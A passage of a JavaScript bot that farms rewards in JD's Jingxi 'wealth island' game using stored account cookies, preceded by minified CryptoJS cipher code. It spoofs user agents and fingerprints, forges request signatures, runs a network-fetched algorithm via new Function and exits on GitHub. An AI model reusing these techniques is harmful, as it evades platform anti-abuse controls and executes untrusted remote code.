129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env("京喜财富岛热气球"); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +$.showLog = $.getdata("cfd_showLog") ? $.getdata("cfd_showLog") === "true" : false; +$.notifyTime = $.getdata("cfd_notifyTime"); +$.result = []; +$.shareCodes = []; +let cookiesArr = [], cookie = '', token = '', UA, UAInfo = {}; +$.appId = "92a36"; +$.hot = {} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + let count = 0 + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + await $.wait(1000) + do { + count++ + console.log(`\n============开始第${count}次挂机=============`) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.nickName = ''; + $.isLogin = true; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + $.info = {} + if (count === 1) { + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + $.hot[$.UserName] = false + } else { + UA = UAInfo[$.UserName] + } + // token = await getJxToken() + if ($.hot[$.UserName]) { + console.log(`操作过于频繁,跳过运行`) + continue + } + await cfd(); + let time = process.env.CFD_LOOP_SLEEPTIME ? (process.env.CFD_LOOP_SLEEPTIME * 1 > 1000 ? process.env.CFD_LOOP_SLEEPTIME : process.env.CFD_LOOP_SLEEPTIME * 1000) : 5000 + await $.wait(time) + } + } + } while (count < 25) +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); + +async function cfd() { + try { + await queryshell() + } catch (e) { + $.logErr(e) + } +} + +// 卖贝壳 +async function querystorageroom() { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/querystorageroom`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} querystorageroom API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + console.log(`\n卖贝壳`) + let bags = [] + for (let key of Object.keys(data.Data.Office)) { + let vo = data.Data.Office[key] + bags.push(vo.dwType) + bags.push(vo.dwCount) + } + if (bags.length !== 0) { + let strTypeCnt = '' + for (let j = 0; j < bags.length; j++) { + if (j % 2 === 0) { + strTypeCnt += `${bags[j]}:` + } else { + strTypeCnt += `${bags[j]}|` + } + } + await $.wait(3000) + await sellgoods(`strTypeCnt=${strTypeCnt}&dwSceneId=1`) + } else { + console.log(`背包是空的,快去捡贝壳吧\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function sellgoods(body) { + return new Promise((resolve) => { + $.get(taskUrl(`story/sellgoods`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} sellgoods API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`贝壳出售成功:获得${data.Data.ddwCoin}金币 ${data.Data.ddwMoney}财富\n`) + } else { + console.log(`贝壳出售失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 捡贝壳 +async function queryshell() { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/queryshell`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} queryshell API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + $.canpick = true; + if (data.iRet === 0) { + for (let key of Object.keys(data.Data.NormShell)) { + let vo = data.Data.NormShell[key] + for (let j = 0; j < vo.dwNum && $.canpick; j++) { + await pickshell(`dwType=${vo.dwType}`) + await $.wait(3000) + } + if (!$.canpick) break + } + console.log('') + } else { + console.log(data.sErrMsg) + $.hot[$.UserName] = true + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function pickshell(body) { + return new Promise(async (resolve) => { + $.get(taskUrl(`story/pickshell`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} pickshell API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + let dwName + switch (data.Data.strFirstDesc) { + case '亲爱的岛主~♥七夕快乐鸭♥': + dwName = '爱心珍珠' + break + case '捡到珍珠了,看起来很贵的样子': + dwName = '小珍珠' + break + case '捡到小海螺了,做成项链一定很漂亮': + dwName = '小海螺' + break + case '把我放在耳边,就能听到大海的声音了~': + dwName = '大海螺' + break + case '只要诚心祈祷,愿望就会实现哦~': + dwName = '海星' + break + case '阳光下的小贝壳会像宝石一样,散发耀眼的光芒': + dwName = '小贝壳' + break + case '啊~我可不想被清蒸加蒜蓉': + dwName = '扇贝' + break + default: + break + } + if (data.iRet === 0) { + console.log(`捡贝壳成功:捡到了${dwName}`) + } else if (data.iRet === 5403 || data.sErrMsg === '这种小贝壳背包放不下啦,先去卖掉一些吧~') { + console.log(`捡贝壳失败:${data.sErrMsg}`) + await $.wait(3000) + await querystorageroom() + } else { + $.canpick = false; + console.log(`捡贝壳失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_path, body = '', dwEnv = 7) { + let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + } + }; +} +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "3.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + // console.log(`获取签名参数成功!`) + // console.log(`fp: ${$.fingerprint}`) + // console.log(`token: ${$.token}`) + // console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + // console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2), "".concat("3.0"), "".concat(time)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +var 